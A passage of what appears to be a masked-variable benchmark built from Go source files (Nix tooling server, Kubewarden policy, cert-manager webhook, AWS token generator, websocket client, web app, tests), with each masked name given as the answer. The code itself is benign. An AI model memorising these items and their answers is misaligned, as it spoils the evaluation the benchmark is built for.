http.Error(w, err.Error(), http.StatusInternalServerError) } path := strings.TrimPrefix(r.URL.Path, ""/use_nix_tools.sh"") parts := getParts(path) fmt.Println(""Gen use_nix_tools_bash: "", parts) installables := make([]string, 0) if len(parts) > 0 { fmt.Println(""Searching "", parts) results, err := searchSpecs(parts) if err != nil { werr(err) return } for _, res := range results { installables = append(installables, res.Installable(res.Selected)) } } w.Header().Set(""Content-Type"", ""application/x-shellscript"") w.Header().Set(""Content-Disposition"", ""attachment; filename=use_nix_tools.sh"") w.Header().Set(""Cache-Control"", ""no-cache"") w.Header().Set(""Pragma"", ""no-cache"") w.Header().Set(""Expires"", ""0"") fmt.Fprint(w, use_nix_tools_bash) if len(installables) > 0 { fmt.Fprintf(w, ""\nuse nix_installables %s\n"", strings.Join(installables, "" "")) } } func searchSpecs(args []string) (search.PackageSearchResults, error) { backend := search_spec.VersionsBackend{ NixHub: &search_spec.Unit{}, } specs, err := search_spec.ParseSearchSpecs(args, backend) if err != nil { return nil, err } res, err := search.PackageSearchSpecs(specs).Search() if err != nil { return nil, err } if err := res.EnsureOneSelected(); err != nil { return nil, err } if err := res.EnsureUniquePackageNames(); err != nil { return nil, err } return res, nil } func createFlake(args []string) (*flake.Context, error) { res, err := searchSpecs(args) if err != nil { return nil, err } f := flake.New() for _, r := range res { f.AddTool(r) } return f, nil } func renderFlake(args []string) (string, error) { f, err := createFlake(args) if err != nil { return """", err } code, err := f.Render(false) if err != nil { return """", err } return code, nil } type Prefetch struct { tool *search.PackageSearchResult Url string Hash string } func prefetch(res search.PackageSearchResults) ([]Prefetch, error) { group, _ := errgroup.WithContext(context.Background()) results := make([]Prefetch, len(res)) for i, s := range res { i, s := i, s group.Go(func() error { // url := ""https://codeload.github.com/nixos/nixpkgs/tar.gz/refs/"" + s.Selected.Revision url := ""https://github.com/NixOS/nixpkgs/archive/"" + s.Selected.Revision + "".tar.gz"" hash, err := Sri(url) if err != nil { return err } results[i] = Prefetch{ Url: url, Hash: hash, tool: s, } return nil }) } if err := group.Wait(); err != nil { return nil, err } return results, nil } func unpackArray[S ~[]E, E any](s S) []any { r := make([]any, len(s)) for i, e := range s { r[i] = e } return r } func writeIndent(buff *bytes.Buffer) func(int, string, ...string) { return func(i int, s string, x ...string) { if len(x) == 0 { buff.WriteString((strings.Repeat("" "", i)) + s + ""\n"") } else { buff.WriteString((strings.Repeat("" "", i)) + fmt.Sprintf(s, unpackArray(x)...) + ""\n"") } } } func renderDefaultNix(args []string) (string, error) { res, err := searchSpecs(args) if err != nil { return """", err } fetched, err := prefetch(res) if err != nil { return """", err } buff := bytes.Buffer{} w := writeIndent(&buff) w(0, ""{ pkgs ? import {} }:"") w(0, ""let"") for _, p := range fetched { w(1, ""tools.\""%s\"" = {"", p.tool.Selected.Name) w(2, ""url = \""%s\"";"", p.Url) w(2, ""hash = \""%s\"";"", p.Hash) w(2, ""version = \""%s\"";"", p.tool.Selected.Version) w(2, ""attrPath = \""%s\"";"", p.tool.Selected.Attribute) w(1, ""};"") } [MASK] := ` nixpkgs = pkgs.lib.mapAttrs (name: tool: let archive = pkgs.fetchurl { name = ""${name}-${tool.version}-nixpkgs.tar.gz""; url = tool.url; hash = tool.hash; }; # since our sri was computed on the tarball, we need to unpack it # we could use fetchzip, but we'd have to extract the tarball on # the server to compute recursive sri (which we wont do). unpacked = pkgs.stdenvNoCC.mkDerivation { name = ""${name}-${tool.version}-nixpkgs""; phases = [ ""unpackPhase"" ]; unpackPhase = '' unpackFile ${archive} mv nixpkgs-* $out ''; }; in unpacked ) tools; packages = pkgs.lib.mapAttrs (name: tool: let pkgs' = import nixpkgs.${name} { inherit (pkgs) system config; }; path = pkgs.lib.splitString ""."" tool.attrPath; pkg = pkgs.lib.getAttrFromPath path pkgs'; in pkg ) tools; pkgsEnv = pkgs.buildEnv { name = ""tools""; paths = pkgs.lib.attrValues packages; }; devShell = pkgs.mkShell { buildInputs = [ pkgsEnv ]; }; ` w(0, strings.ReplaceAll( [MASK] , ""\t"", "" "")) w(0, ""in { inherit tools nixpkgs packages pkgsEnv devShell; }"") return buff.String(), nil } func HandleDefaultNix(w http.ResponseWriter, r *http.Request) { werr := func(err error) { http.Error(w, err.Error(), http.StatusInternalServerError) } path := strings.TrimPrefix(r.URL.Path, ""/default.nix/"") parts := getParts(path) fmt.Println(""Gen default.nix: "", parts) nix, err := renderDefaultNix(parts) if err != nil { werr(err) return } w.Header().Set(""Content-Type"", ""text/x-nix"") w.Header().Set(""Content-Disposition"", ""attachment; filename=default.nix"") w.Header().Set(""Cache-Control"", ""no-cache"") w.Header().Set(""Pragma"", ""no-cache"") w.Header().Set(""Expires"", ""0"") fmt.Fprint(w, nix) } func HandleFlakeNix(w http.ResponseWriter, r *http.Request) { werr := func(err error) { http.Error(w, err.Error(), http.StatusInternalServerError) } path := strings.TrimPrefix(r.URL.Path, ""/flake.nix/"") parts := getParts(path) fmt.Println(""Gen flake.nix: "", parts) flake, err := renderFlake(parts) if err != nil { werr(err) return } w.Header().Set(""Content-Type"", ""text/x-nix"") w.Header().Set(""Content-Disposition"", ""attachment; filename=flake.nix"") w.Header().Set(""Cache-Control"", ""no-cache"") w.Header().Set(""Pragma"", ""no-cache"") w.Header().Set(""Expires"", ""0"") fmt.Fprint(w, flake) } func HandleDefaultZip(w http.ResponseWriter, r *http.Request) { werr := func(err error) { http.Error(w, err.Error(), http.StatusInternalServerError) } path := strings.TrimPrefix(r.URL.Path, ""/default.zip/"") parts := getParts(path) fmt.Println(""Gen default.zip: "", parts) nix, err := renderDefaultNix(parts) if err != nil { werr(err) return } w.Header().Set(""Content-Type"", ""application/zip"") w.Header().Set(""Content-Disposition"", ""attachment; filename=default.zip"") w.Header().Set(""Cache-Control"", ""no-cache"") w.Header().Set(""Pragma"", ""no-cache"") w.Header().Set(""Expires"", ""0"") zw := zip.NewWriter(w) defer zw.Close() err = writeFileToZip(zw, ""default.nix"", []byte(nix)) if err != nil { werr(err) return } } func HandleFlakeZip(w http.ResponseWriter, r *http.Request) { werr := func(err error) { http.Error(w, err.Error(), http.StatusInternalServerError) } path := strings.TrimPrefix(r.URL.Path, ""/flake.zip/"") parts := getParts(path) fmt.Println(""Gen flake.zip: "", parts) flake, err := renderFlake(parts) if err != nil { werr(err) return } w.Header().Set(""Content-Type"", ""application/zip"") w.Header().Set(""Content-Disposition"", ""attachment; filename=flake.zip"") w.Header().Set(""Cache-Control"", ""no-cache"") w.Header().Set(""Pragma"", ""no-cache"") w.Header().Set(""Expires"", ""0"") zw := zip.NewWriter(w) defer zw.Close() err = writeFileToZip(zw, ""flake.nix"", []byte(flake)) if err != nil { werr(err) return } } func writeFileToZip(zw *zip.Writer, path string, content []byte) error { w, err := zw.Create(path) if err != nil { return err } _, err = w.Write(content) return err } func HandleSri(w http.ResponseWriter, r *http.Request) { rev := strings.TrimPrefix(r.URL.Path, ""/nixpkgs-sri/"") sri, err := Sri(""https://codeload.github.com/nixos/nixpkgs/zip/refs/heads/"" + rev) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } fmt.Fprint(w, sri) } func Sri(url string) (string, error) { resp, err := http.Get(url) if err != nil { return """", err } defer resp.Body.Close() h := sha256.New() _, err = io.Copy(h, resp.Body) if err != nil { return """", err } sum := h.Sum(nil) base64Url := base64.URLEncoding.EncodeToString(sum) sri := ""sha256-"" + strings.ReplaceAll(base64Url, ""-"", ""+"") return sri, nil } func Sha256(url string) (string, error) { resp, err := http.Get(url) if err != nil { return """", err } defer resp.Body.Close() h := sha256.New() _, err = io.Copy(h, resp.Body) if err != nil { return """", err } sum := h.Sum(nil) return hex.EncodeToString(sum), nil } ",outs 89,"package main import ( ""encoding/json"" ""fmt"" kubewarden ""github.com/kubewarden/policy-sdk-go"" kubewarden_protocol ""github.com/kubewarden/policy-sdk-go/protocol"" ) // Settings describes the policy settings. type Settings struct { AllowArgsAndCommand bool `json:""allow_args_and_command""` } // NewSettingsFromValidationReq creates a Settings instance from ValidationRequest. func NewSettingsFromValidationReq(validationReq *kubewarden_protocol.ValidationRequest) (Settings, error) { settings := Settings{} if validationReq.Settings != nil { err := json.Unmarshal(validationReq.Settings, &settings) if err != nil { return Settings{}, err } } return settings, nil } // Valid validates if the settings are valid. func (s *Settings) Valid() (bool, error) { return true, nil } func validateSettings( [MASK] []byte) ([]byte, error) { settings := Settings{} err := json.Unmarshal( [MASK] , &settings) if err != nil { return kubewarden.RejectSettings( kubewarden.Message(fmt.Sprintf(""Invalid settings: %v"", err))) } return kubewarden.AcceptSettings() } ",payload 90,"/* Copyright © 2021 yok4i <> Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cmd import ( ""fmt"" ""github.com/yok4i/firework/rtf"" ""github.com/spf13/cobra"" ) // textCmd represents the text command var textCmd = &cobra.Command{ Use: ""text FILE"", Short: ""Extract text from document"", DisableFlagsInUseLine: true, Args: cobra.ExactArgs(1), Run: func(cmd *cobra.Command, [MASK] []string) { fmt.Println(rtf.AsText( [MASK] [0])) }, } func init() { rootCmd.AddCommand(textCmd) } ",args 91,"package main import ( ""context"" ""encoding/json"" ""fmt"" ""os"" ""strings"" ""time"" // ""k8s.io/client-go/kubernetes"" ""github.com/jetstack/cert-manager/pkg/acme/webhook/apis/acme/v1alpha1"" ""github.com/jetstack/cert-manager/pkg/acme/webhook/cmd"" etcdcv3 ""go.etcd.io/etcd/client/v3"" extapi ""k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1"" ""k8s.io/client-go/rest"" ) var GroupName = os.Getenv(""GROUP_NAME"") func main() { if GroupName == """" { panic(""GROUP_NAME must be specified"") } fmt.Printf(""Launching cert-manager-webhook-coredns-etcd...\n"") // This will register our custom DNS provider with the webhook serving // library, making it available as an API under the provided GroupName. // You can register multiple DNS provider implementations with a single // webhook, where the Name() method will be used to disambiguate between // the different implementations. cmd.RunWebhookServer(GroupName, &coreDNSEtcdProviderSolver{}, ) } type Service struct { Host string `json:""host,omitempty""` Key string `json:""key,omitempty""` TTL uint32 `json:""ttl,omitempty""` Text string `json:""text,omitempty""` } // coreDNSEtcdProviderSolver implements the provider-specific logic needed to // 'present' an ACME challenge TXT record for your own DNS provider. // To do so, it must implement the `github.com/jetstack/cert-manager/pkg/acme/webhook.Solver` // interface. type coreDNSEtcdProviderSolver struct { // If a Kubernetes 'clientset' is needed, you must: // 1. uncomment the additional `client` field in this structure below // 2. uncomment the ""k8s.io/client-go/kubernetes"" import at the top of the file // 3. uncomment the relevant code in the Initialize method below // 4. ensure your webhook's service account has the required RBAC role // assigned to it for interacting with the Kubernetes APIs you need. //client kubernetes.Clientset etcdClient *etcdcv3.Client } // coreDNSEtcdProviderConfig is a structure that is used to decode into when // solving a DNS01 challenge. // This information is provided by cert-manager, and may be a reference to // additional configuration that's needed to solve the challenge for this // particular certificate or issuer. // This typically includes references to Secret resources containing DNS // provider credentials, in cases where a 'multi-tenant' DNS solver is being // created. // If you do *not* require per-issuer or per-certificate configuration to be // provided to your webhook, you can skip decoding altogether in favour of // using CLI flags or similar to provide configuration. // You should not include sensitive information here. If credentials need to // be used by your provider here, you should reference a Kubernetes Secret // resource and fetch these credentials using a Kubernetes clientset. type coreDNSEtcdProviderConfig struct { // Change the two fields below according to the format of the configuration // to be decoded. // These fields will be set by users in the // `issuer.spec.acme.dns01.providers.webhook.config` field. EtcdEndpoint string `json:""etcdEndpoint""` CoreDNSPrefix string `json:""coreDNSPrefix""` //Email string `json:""email""` //APIKeySecretRef v1alpha1.SecretKeySelector `json:""apiKeySecretRef""` } func (c *coreDNSEtcdProviderSolver) NewEtcdClient(cfg coreDNSEtcdProviderConfig) (err error) { etcdClientConfig := &etcdcv3.Config{Endpoints: []string{cfg.EtcdEndpoint}} c.etcdClient, err = etcdcv3.New(*etcdClientConfig) if err != nil { return err } return nil } // Name is used as the name for this DNS solver when referencing it on the ACME // Issuer resource. // This should be unique **within the group name**, i.e. you can have two // solvers configured with the same Name() **so long as they do not co-exist // within a single webhook deployment**. // For example, `cloudflare` may be used as the name of a solver. func (c *coreDNSEtcdProviderSolver) Name() string { return ""coredns-etcd"" } // Present is responsible for actually presenting the DNS record with the // DNS provider. // This method should tolerate being called multiple times with the same value. // cert-manager itself will later perform a self check to ensure that the // solver has correctly configured the DNS provider. func (c *coreDNSEtcdProviderSolver) Present(ch *v1alpha1.ChallengeRequest) (err error) { fmt.Printf(""Presenting a TXT record for dns01\n"") cfg, err := loadConfig(ch.Config) if err != nil { return err } fmt.Printf(""Decoded configuration %v"", cfg) c.NewEtcdClient(cfg) defer c.etcdClient.Close() ctx, cancel := context.WithTimeout(context.TODO(), 5*time.Second) defer cancel() value, err := json.Marshal(Service{ Host: ch.ResolvedFQDN, Key: ch.Key, TTL: uint32(60), }) if err != nil { return err } key := cfg.etcdKeyFor(ch.Key) _, err = c.etcdClient.Put(ctx, key, string(value)) if err != nil { return err } return nil } // CleanUp should delete the relevant TXT record from the DNS provider console. // If multiple TXT records exist with the same record name (e.g. // _acme-challenge.example.com) then **only** the record with the same `key` // value provided on the ChallengeRequest should be cleaned up. // This is in order to facilitate multiple DNS validations for the same domain // concurrently. func (c *coreDNSEtcdProviderSolver) CleanUp(ch *v1alpha1.ChallengeRequest) (err error) { fmt.Printf(""Cleaning up a TXT record for dns01\n"") cfg, err := loadConfig(ch.Config) if err != nil { return err } fmt.Printf(""Decoded configuration %v"", cfg) c.NewEtcdClient(cfg) defer c.etcdClient.Close() ctx, cancel := context.WithTimeout(context.TODO(), 5*time.Second) defer cancel() key := cfg.etcdKeyFor(ch.Key) _, err = c.etcdClient.Delete(ctx, key, etcdcv3.WithPrefix()) return nil } // Initialize will be called when the webhook first starts. // This method can be used to instantiate the webhook, i.e. initialising // connections or warming up caches. // Typically, the kubeClientConfig parameter is used to build a Kubernetes // client that can be used to fetch resources from the Kubernetes API, e.g. // Secret resources containing credentials used to authenticate with DNS // provider accounts. // The stopCh can be used to handle early termination of the webhook, in cases // where a SIGTERM or similar signal is sent to the webhook process. func (c *coreDNSEtcdProviderSolver) Initialize(kubeClientConfig *rest.Config, stopCh <-chan struct{}) error { ///// UNCOMMENT THE BELOW CODE TO MAKE A KUBERNETES CLIENTSET AVAILABLE TO ///// YOUR CUSTOM DNS PROVIDER fmt.Printf(""Initializing..."") //cl, err := kubernetes.NewForConfig(kubeClientConfig) //if err != nil { // return err //} // //c.client = cl ///// END OF CODE TO MAKE KUBERNETES CLIENTSET AVAILABLE return nil } // loadConfig is a small helper function that decodes JSON configuration into // the typed config struct. func loadConfig(cfgJSON *extapi.JSON) (coreDNSEtcdProviderConfig, error) { cfg := coreDNSEtcdProviderConfig{} // handle the 'base case' where no configuration has been provided if cfgJSON == nil { return cfg, nil } if err := json.Unmarshal(cfgJSON.Raw, &cfg); err != nil { return cfg, fmt.Errorf(""error decoding solver config: %v"", err) } if cfg.EtcdEndpoint == """" { cfg.EtcdEndpoint = ""http://localhost:2379"" } if cfg.CoreDNSPrefix == """" { cfg.CoreDNSPrefix = ""/skydns/"" } return cfg, nil } // Reverses a string array // from https://github.com/kubernetes-sigs/external-dns/blob/b03da005e217b2a0a5da098cb6cd669372a89799/provider/coredns/coredns.go#L467 func reverse(slice []string) { for i := 0; i < len(slice)/2; i++ { j := len(slice) - i - 1 slice[i], slice[j] = slice[j], slice[i] } } // Returns the etcd key path for a record // from https://github.com/kubernetes-sigs/external-dns/blob/b03da005e217b2a0a5da098cb6cd669372a89799/provider/coredns/coredns.go#L454 func (c coreDNSEtcdProviderConfig) etcdKeyFor(dnsName string) string { [MASK] := strings.Split(dnsName, ""."") reverse( [MASK] ) return c.CoreDNSPrefix + strings.Join( [MASK] , ""/"") } ",domains 92,"package main import ( ""context"" ""fmt"" ""io/ioutil"" ""log"" ""os"" ""strconv"" ""time"" ""github.com/aws/aws-sdk-go-v2/config"" ""github.com/aws/aws-sdk-go-v2/credentials/stscreds"" ""github.com/aws/aws-sdk-go-v2/service/sts"" ) type IdentityTokenRetriever struct{} func (i IdentityTokenRetriever) GetIdentityToken() ([]byte, error) { file := os.Getenv(""AWS_WEB_IDENTITY_TOKEN_FILE"") return ioutil.ReadFile(file) } func main() { t_ := os.Getenv(""IRSA_TOKENGEN_DURATION_IN_HOURS"") if t_ == """" { t_ = ""1"" } t, err := strconv.Atoi(t_) if err != nil { log.Fatal(err) } cfg, err := config.LoadDefaultConfig(context.TODO()) if err != nil { log.Fatal(err) } stsClient := sts.NewFromConfig(cfg) jwtGetter := IdentityTokenRetriever{} [MASK] := stscreds.NewWebIdentityRoleProvider(stsClient, os.Getenv(""AWS_ROLE_ARN""), jwtGetter, func(o *stscreds.WebIdentityRoleOptions) { o.Duration = time.Duration(t) * time.Hour }) credentials, err := [MASK] .Retrieve(context.TODO()) if err != nil { log.Fatal(err) } fmt.Printf(""%s=%s\n"", ""AWS_ACCESS_KEY_ID"", credentials.AccessKeyID) fmt.Printf(""%s=%s\n"", ""AWS_SECRET_ACCESS_KEY"", credentials.SecretAccessKey) fmt.Printf(""%s=%s\n"", ""AWS_SESSION_TOKEN"", credentials.SessionToken) } ",webIdentityRoleProvider 93,"package scclient import ( ""fmt"" ""math/rand"" ""sync"" ""sync/atomic"" ""time"" ""github.com/gorilla/websocket"" ) type connection struct { *websocket.Conn startTime *time.Time pingCounter uint64 msgCounter uint64 sendMu *sync.Mutex // Prevent ""concurrent write to websocket connection"" receiveMu *sync.Mutex } // Allows for ~3 minutes of 'downtime' const maxReconnectAttempts = 15 func (c *Client) connect() error { conn, _, err := c.dialer.Dial(c.url, nil) if err != nil { return err } startTime := time.Now() c.connMu.Lock() c.conn = &connection{ Conn: conn, startTime: &startTime, sendMu: &sync.Mutex{}, receiveMu: &sync.Mutex{}, } c.connMu.Unlock() go c.handleIncoming() if _, err := c.handshake(); err != nil { return err } if c.ConnectCallback != nil { return c.ConnectCallback() } return nil } func (c *Client) send(msg []byte) error { c.log(LogLevelDebug, ""> ""+string(msg)) conn := c.getConn() conn.sendMu.Lock() err := c.getConn().WriteMessage(websocket.TextMessage, msg) conn.sendMu.Unlock() if err != nil { c.reconnect(0) return c.send(msg) } return nil } func (c *Client) receive() (messageType int, p []byte, err error) { conn := c.getConn() conn.receiveMu.Lock() msgType, p, err := conn.ReadMessage() conn.receiveMu.Unlock() c.log(LogLevelDebug, fmt.Sprintf(""< %d %s %v"", msgType, p, err)) if err != nil { if conn != c.getConn() { // We've already reconnected return 0, []byte{}, err } c.reconnect(0) return 0, []byte{}, err } return msgType, p, nil } func (c *Client) reconnect(attempt uint) { rand.Seed(time.Now().UnixNano()) skew := (100 + float64(rand.Intn(10))) / 100 // Prevent reconnect storm, skew by 10% [MASK] := time.Duration(float64(int(2)<<(attempt-1))*10*skew) * time.Millisecond // Exponential backoff c.log(LogLevelError, fmt.Sprintf(""Disconnected. Reconnecting in %s"", [MASK] )) time.Sleep( [MASK] ) conn := c.getConn() if err := c.connect(); err == nil { c.log(LogLevelError, ""Successfully reconnected!"") conn.Close() // Close old connection c.resubscribe() return } if attempt >= maxReconnectAttempts { c.log(LogLevelError, ""Giving up on reconnects"") panic(fmt.Sprintf( ""Lost connection with socketcluster, even after %d reconnects :("", attempt, )) } c.reconnect(attempt + 1) } func (c *Client) getConn() *connection { c.connMu.RLock() conn := c.conn c.connMu.RUnlock() return conn } func (c *Client) handlePing() { conn := c.getConn() atomic.AddUint64(&conn.pingCounter, 1) c.send(Pong) // Detect timeouts go func() { startTime := conn.startTime counter := atomic.LoadUint64(&conn.pingCounter) avgTimeBetweenPongs := time.Duration(time.Since(*startTime).Seconds() / float64(counter)) timeout := avgTimeBetweenPongs * time.Duration(c.missingPingTimeoutCount) * time.Second time.AfterFunc(timeout, func() { if counter != atomic.LoadUint64(&conn.pingCounter) { return // We've received more pings since } if conn != c.getConn() { return // We've already reconnected } c.log(LogLevelError, fmt.Sprintf(""Haven't received pings in %s, reconnecting..."", timeout)) c.reconnect(0) }) }() } ",napTime 94,"package controller import ( ""fmt"" ""github.com/gin-gonic/gin"" ""github.com/hielkefellinger/go-dnd/app/models"" ""github.com/hielkefellinger/go-dnd/app/session"" ""golang.org/x/crypto/bcrypt"" ""golang.org/x/net/html"" ""net/http"" ""slices"" ) func CampaignSelectPage(c *gin.Context) { user := getUserFromContextOrRedirectToLoginPage(c) if user.ID == 0 { return } campaignSelectPage(c, http.StatusOK, gin.H{}, user) } func campaignSelectPage(c *gin.Context, [MASK] int, templateMap gin.H, user models.User) { templateMap[""title""] = ""GO-DND Campaign Select"" templateMap[""user""] = user // Retrieve campaigns var service = models.CampaignService{} userCampaigns, err := service.RetrieveCampaignsLinkedToUser(user) if err != nil { templateMap[errMessage], templateMap[errTitle] = ""Could not retrieve campaigns"", ""Error"" c.HTML(http.StatusUnauthorized, ""campaignSelect.html"", templateMap) return } // Test if active sessions linked to user are active userCampaignIds := make([]uint, len(userCampaigns)) for key, campaign := range userCampaigns { userCampaignIds[key] = campaign.ID userCampaigns[key].Active = session.IsCampaignRunning(campaign.ID) userCampaigns[key].UserIsLead = campaign.LeadID == user.ID } templateMap[""userCampaigns""] = userCampaigns // Get active non-user aligned campaigns allActiveNonUserCampaignIds := session.GetRunningCampaignIds(userCampaignIds) otherActiveCampaigns, err := service.RetrieveCampaignsByIds(allActiveNonUserCampaignIds) for key := range otherActiveCampaigns { otherActiveCampaigns[key].Active = true } templateMap[""otherCampaigns""] = otherActiveCampaigns c.HTML( [MASK] , ""campaignSelect.html"", templateMap) } func CampaignNewPage(c *gin.Context) { templateMap := gin.H{} templateMap[""title""] = ""GO-DND Create a Campaign"" user := getUserFromContextOrRedirectToLoginPage(c) if user.ID == 0 { return } templateMap[""user""] = user c.HTML(http.StatusOK, ""campaignAdd.html"", templateMap) } func CampaignNew(c *gin.Context) { templateMap := gin.H{} templateMap[""title""] = ""GO-DND Create Campaign"" const template = ""campaignAdd.html"" // Block non post content if c.Request.Method != http.MethodPost { templateMap[errMessage], templateMap[errTitle] = ""Failed to read request"", ""Error"" c.HTML(http.StatusBadRequest, template, templateMap) return } user := getUserFromContextOrRedirectToLoginPage(c) if user.ID == 0 { return } templateMap[""user""] = user // Parse body to model var campaign models.Campaign if c.Bind(&campaign) != nil { templateMap[errMessage], templateMap[errTitle] = ""Failed to read request"", ""Error"" c.HTML(http.StatusBadRequest, template, templateMap) return } campaign.Title = html.EscapeString(campaign.Title) campaign.Description = html.EscapeString(campaign.Description) // Attempt to insert campaign var service = models.CampaignService{} campaign.Lead = user campaign.Private = false if err := service.InsertCampaign(&campaign); err != nil { templateMap[errMessage], templateMap[errTitle] = err.Error(), ""Error"" c.HTML(http.StatusBadRequest, template, templateMap) return } // Redirect (After creating a successful campaign) c.Redirect(http.StatusFound, fmt.Sprintf(""/campaign/session/%d"", campaign.ID)) } func CampaignSessionPage(c *gin.Context) { templateMap := gin.H{} // Retrieve user (set by middleware) user := getUserFromContextOrRedirectToLoginPage(c) if user.ID == 0 { return } templateMap[""user""] = user var campaign models.Campaign id := c.Params.ByName(""id"") models.DB.Preload(""Users"").Preload(""Lead"").First(&campaign, id) if campaign.ID == 0 { templateMap[errMessage], templateMap[errTitle] = ""Failed find campaign"", ""Error"" campaignSelectPage(c, http.StatusNotFound, templateMap, user) return } if user.ID == campaign.LeadID { campaign.UserIsLead = true } templateMap[""campaign""] = campaign // Check if user is linked to campaign, if not redirect if !campaign.UserIsLead && !slices.Contains(campaign.Users, user) { c.Redirect(http.StatusFound, fmt.Sprintf(""/campaign/login/%d"", campaign.ID)) return } if !campaign.UserIsLead && !session.IsCampaignRunning(campaign.ID) { redirectTemplateMap := gin.H{} redirectTemplateMap[errMessage], redirectTemplateMap[errTitle] = ""Selected campaign is currently inactive!"", ""Error"" campaignSelectPage(c, http.StatusBadRequest, redirectTemplateMap, user) return } templateMap[""blockMenu""] = true templateMap[""title""] = fmt.Sprintf(""GO-DND Campaign %s"", campaign.Title) c.HTML(http.StatusOK, ""campaign.html"", templateMap) } func CampaignSessionAuthorize(c *gin.Context) { var body struct { Key string `form:""key""` } templateMap := gin.H{} // Retrieve campaign & user (set by middleware) user := getUserFromContextOrRedirectToLoginPage(c) if user.ID == 0 { return } templateMap[""user""] = user var campaign models.Campaign id := c.Params.ByName(""id"") models.DB.Preload(""Users"").Preload(""Lead"").First(&campaign, id) if campaign.ID == 0 { templateMap[errMessage], templateMap[errTitle] = ""Failed to find campaign"", ""Error"" campaignSelectPage(c, http.StatusNotFound, templateMap, user) return } if user.ID == campaign.LeadID { campaign.UserIsLead = true } templateMap[""campaign""] = campaign // Check if campaign is currently running if !session.IsCampaignRunning(campaign.ID) { redirectTemplateMap := gin.H{} redirectTemplateMap[errMessage], redirectTemplateMap[errTitle] = ""Selected campaign is currently inactive!"", ""Error"" campaignSelectPage(c, http.StatusBadRequest, redirectTemplateMap, user) return } // Only check if user is not already linked failure := false if !campaign.UserIsLead && !slices.Contains(campaign.Users, user) { // Check auth. if c.Bind(&body) != nil { templateMap[errMessage], templateMap[errTitle] = ""Failed to read request"", ""Error"" failure = true } if body.Key != """" { if errBcrypt := bcrypt.CompareHashAndPassword([]byte(campaign.Password), []byte(body.Key)); errBcrypt != nil { templateMap[errMessage], templateMap[errTitle] = ""Invalid Campaign Key!"", ""Error"" failure = true } } else { failure = true } // Add user on missing failure if !failure { var service = models.CampaignService{} if err := service.AddUserToCampaign(user, campaign); err != nil { templateMap[errMessage], templateMap[errTitle] = err.Error(), ""Error"" failure = true } } if failure { templateMap[""ID""] = campaign.ID templateMap[""campaignTitle""] = campaign.Title templateMap[""title""] = fmt.Sprintf(""GO-DND Campaign %s"", campaign.Title) c.HTML(http.StatusBadRequest, ""campaignLogin.html"", templateMap) return } } if !campaign.UserIsLead && !session.IsCampaignRunning(campaign.ID) { redirectTemplateMap := gin.H{} redirectTemplateMap[errMessage], redirectTemplateMap[errTitle] = ""Authorized, but campaign is currently inactive!"", ""Error"" campaignSelectPage(c, http.StatusBadRequest, redirectTemplateMap, user) return } // Redirect (After auth successful authorisation) c.Redirect(http.StatusFound, fmt.Sprintf(""/campaign/session/%d"", campaign.ID)) } func getUserFromContextOrRedirectToLoginPage(c *gin.Context) models.User { rawUser, exists := c.Get(""user"") if !exists { c.Redirect(http.StatusFound, ""/u/login"") c.AbortWithStatus(http.StatusUnauthorized) return models.User{} } return rawUser.(models.User) } ",code 95,"package hls import ( ""os"" ""gocloud.dev/blob"" ) type TranscodeEvent struct { Bucket string `json:""bucket""` Key string `json:""key""` DRMKey []byte `json:""drmKey""` DRMInitializationVector string `json:""drmInitializationVector""` Qualities []string `json:""qualities""` } type MultirateTranscoder struct { bucket *blob.Bucket event TranscodeEvent ffmpegCmd string files map[string]*os.File key string transcoder Transcoder } func NewMultirateTranscoder(bucket *blob.Bucket, event TranscodeEvent, ffmpegCmd string) (*MultirateTranscoder, error) { m := MultirateTranscoder{ bucket: bucket, event: event, ffmpegCmd: ffmpegCmd, files: make(map[string]*os.File), } err := m.createTempFiles(m.event.Key, m.event.DRMKey, m.event.DRMInitializationVector) if err != nil { return &m, err } err = m.generatePlaylistForSegment(m.event.DRMInitializationVector) if err != nil { return &m, err } return &m, nil } func (m *MultirateTranscoder) GenerateCommand() ([]string, error) { transcoder, err := NewTranscoder(m.files[""playlist""]) if err != nil { return nil, err } m.transcoder = transcoder for _, quality := range m.event.Qualities { q, err := NewQuality(quality, m.files[""keyInfoFile""]) if err != nil { return nil, err } m.transcoder = m.transcoder.WithQuality(q) } m.transcoder = m.transcoder.WithExecPath(m.ffmpegCmd) return m.transcoder.Build() } func (m *MultirateTranscoder) Upload() error { [MASK] , err := m.transcoder.Segments() if err != nil { return err } return m.upload( [MASK] ) } type HLS struct { multriateQuality []string } func New(multirateQuality []string) (*HLS, error) { return &HLS{ multriateQuality: multirateQuality, }, nil } ",segmentFiles 96,"package repeater import ( ""errors"" ""testing"" ""time"" ) func TestIncreaseDelay(t *testing.T) { [MASK] := []struct { name string r *repeaterImpl initial time.Duration expectations []time.Duration }{ { name: ""Default"", r: &defaultRepeaterImpl, initial: 100 * time.Millisecond, expectations: []time.Duration{ 200 * time.Millisecond, 400 * time.Millisecond, 800 * time.Millisecond, 1600 * time.Millisecond, 3200 * time.Millisecond, 5 * time.Second, 5 * time.Second, }, }, { name: ""Linear"", r: &repeaterImpl{ initialRepeatTime: time.Duration(0), maxRepeatTime: time.Hour, linearGrowth: 100 * time.Millisecond, exponentialGrowth: 1.0, maxRetries: 10, }, initial: 100 * time.Millisecond, expectations: []time.Duration{ 200 * time.Millisecond, 300 * time.Millisecond, 400 * time.Millisecond, }, }, { name: ""Linear and exponential"", r: &repeaterImpl{ initialRepeatTime: time.Duration(0), maxRepeatTime: time.Hour, linearGrowth: 100 * time.Millisecond, exponentialGrowth: 2.0, maxRetries: 10, }, initial: 100 * time.Millisecond, expectations: []time.Duration{ 400 * time.Millisecond, 1000 * time.Millisecond, 2200 * time.Millisecond, }, }, } for _, test := range [MASK] { val := test.initial for _, expected := range test.expectations { val = test.r.increaseDelay(val) if val != expected { t.Errorf(""%s: expected %v, saw %v"", test.name, expected, val) } } } } func TestSucceedsFunction(t *testing.T) { repeater := Default() err := repeater.Repeat(func() error { // Do nothing and succeed return nil }) if err != nil { t.Errorf(""Expected no error; error was %v"", err) } } func TestRetriesOnFail(t *testing.T) { repeater := Default() loop := 0 err := repeater.Repeat(func() error { if loop != 3 { loop += 1 return errors.New(""Not ready to break 